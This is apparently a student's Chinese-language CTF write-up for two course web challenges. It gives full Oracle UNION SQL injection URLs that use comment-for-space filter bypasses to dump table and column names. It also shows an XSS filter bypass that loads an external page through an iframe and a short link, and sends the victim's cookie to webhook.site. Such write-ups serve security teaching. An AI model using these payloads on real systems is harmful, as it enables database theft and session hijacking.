楊力行 b06705001 b06705001

cathub

點開影片後，在 vid 做 sql injection 先測試出過濾了單引號和分號以及空白號，接著測出 limit 0 1 會報錯，而 rownum=1 不會，得到了使用的是 oracle，這時再次測出 oracle 專用的 chr()有被過濾，用 order 試出有 3 欄位，接著試出 union select from 都沒有報錯就使用 union 來解，另外空白的部分用/**/來代替

從 all_tables 中取出 table_name 一個一個地看，因為當 rownum!=1 時會得到 false，因此只能用 offset 取出，接著就找到了 S3CRET

https://edu-ctf.csie.org:10159/video.php?vid=0/**/UnION/**/all/**/SELECT/**/1,TABLE_NAME,null/**/FROM/**/ALL_TABLES/**/order/**/by/**/2/**/offset/**/(44)/**/rows/**/fetch/**/next/**/(1)/**/rows/**/only--

接著再找尋 S3CRET 的 column 先把有著儲存 column 名的 ALL_TAB_COLS 按照 table_name 排序，相同的再按照 column_name 排序，接著先找到 table_name 為 secret 的位置再看他有幾欄，和欄名，發現他的 2 欄中有一欄叫 V3RY_S3CRET_C0LUMN

直接從 S3CRET 中取出這一欄就得到了 flag

https://edu-ctf.csie.org:10159/video.php?vid=0/**/UnION/**/all/**/SELECT/**/1,table_name,column_name/**/FROM/**/ALL_TAB_COLS/**/order/**/by/**/2,3/**/offset/**/(18837)/**/rows/**/fetch/**/next/**/(1)/**/rows/**/only--

https://edu-ctf.csie.org:10159/video.php?vid=1/**/UNION/**/SeLECT/**/1,V3RY_S3CRET_C0LUMN,NULL/**/FROM/**/S3CRET--

how2xss

先發現 hackme 內會把相同的字去掉只留一個，不過大小寫和&#編碼和\u 當作不同的，靠著這個就先排除了直接使用<script>，接著試出<svg OnloAd=alert(1)>能夠成功報錯以及最短且好用的 eval(name)再進行轉碼成 eval(n%23%2697;m\\u{65})後能夠替換掉 alert 並且能夠執行，再發現<IFRAME src=>可以被當作 js 執行，所以我寫了一個 index.html，讓他被 hackme IFRME，在其中修改 name 的內容變成 eval 所要執行的 payload，再轉回到 hackme 執行 eval(name)，我把 index.html 上傳到 github 做成網頁，網址為 https://b06705001.github.io，而為了繞過 filter，我用 bit.ly 網站把它換成短網址”bit.ly/刀”，我的 payload 是讓網站向 https://webhook.site/傳遞 request，並且帶上他的 cookie 再在 cookie 後加上’=1’，不加的話，不知道為甚麼 webhook 接不到 report 的 request。而 report 就把下面這行網址放到 url，寫了一個 MD5 碰撞的 py 檔來回答 POW，再執行就完成了。在 https://webhook.site/中找到

requuest 的 detail 中 GET 那欄就有著 Flag，稍微把符號轉碼就得到了 FLAG。
https://edu-ctf.kaibro.tw:30678/hackme.php?q=%3CIFRAme%20srC=/\bit.ly%26%2347;%E5%88%80%3E